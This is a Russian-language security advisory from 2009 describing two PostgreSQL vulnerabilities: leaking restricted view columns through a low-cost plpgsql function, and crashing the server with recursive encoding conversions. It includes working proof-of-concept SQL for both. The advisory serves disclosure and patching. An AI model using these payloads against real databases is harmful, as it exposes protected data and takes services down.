Security Lab

Несколько уязвимостей в PostgreSQL

Дата публикации:18.03.2009
Дата изменения:13.04.2009
Всего просмотров:2610
Опасность:
Низкая
Наличие исправления: Частично
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная сеть
Воздействие: Отказ в обслуживании
Раскрытие важных данных
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: PostgreSQL 8.x
PostgreSQL 7.x
Уязвимые версии:
PostgreSQL версии до 7.4.25
PostgreSQL 8.3.6, возможно другие версии.

Описание:
Обнаруженные уязвимости позволяют удаленному пользователю получить доступ к важным данным и вызвать отказ в обслуживании.

1. Уязвимость существует в планировщике при выполнении функций с низким приоритетом вместе с видами. Злоумышленник может с помощью специально сформированной функции просмотреть содержимое запрещенных для просмотра колонок. Пример:

CREATE OR REPLACE FUNCTION do_tell(anyelement)
RETURNS bool
COST 0.1
VOLATILE
LANGUAGE plpgsql
AS $body$
BEGIN
raise notice 'hah: %s', $1::text;
return true;
END;
$body$;

SELECT * FROM restricted_view WHERE do_tell(secret_column);

2. Уязвимость существует из-за рекурсивной ошибки при конвертации кодировок. Злоумышленник может с помощью специально сформированного SQL запроса аварийно завершить работу приложения. Пример:
test=# CREATE DEFAULT CONVERSION test1 FOR 'LATIN1' TO 'KOI8' FROM
ascii_to_mic;
CREATE CONVERSION
test=# CREATE DEFAULT CONVERSION test2 FOR 'KOI8' TO 'LATIN1' FROM
mic_to_ascii;
CREATE CONVERSION
test=# set client_encoding to 'LATIN1';
server closed the connection unexpectedly
This probably means the server terminated abnormally
before or while processing the request.

URL производителя: www.postgresql.org

Решение: Уязвимость #2 исправлена в версиях 8.3.7, 8.2.13, 8.1.17, 8.0.21 и 7.4.25. Способов устранения уязвимости не существует в настоящее время.

Журнал изменений:

13.04.2009
Изменена секция «Решение», добавлена версия 7.x в список уязвимых приложений.

Ссылки: http://archives.postgresql.org/pgsql-hackers/2009-02/msg00861.php
http://archives.postgresql.org/pgsql-bugs/2009-02/msg00172.php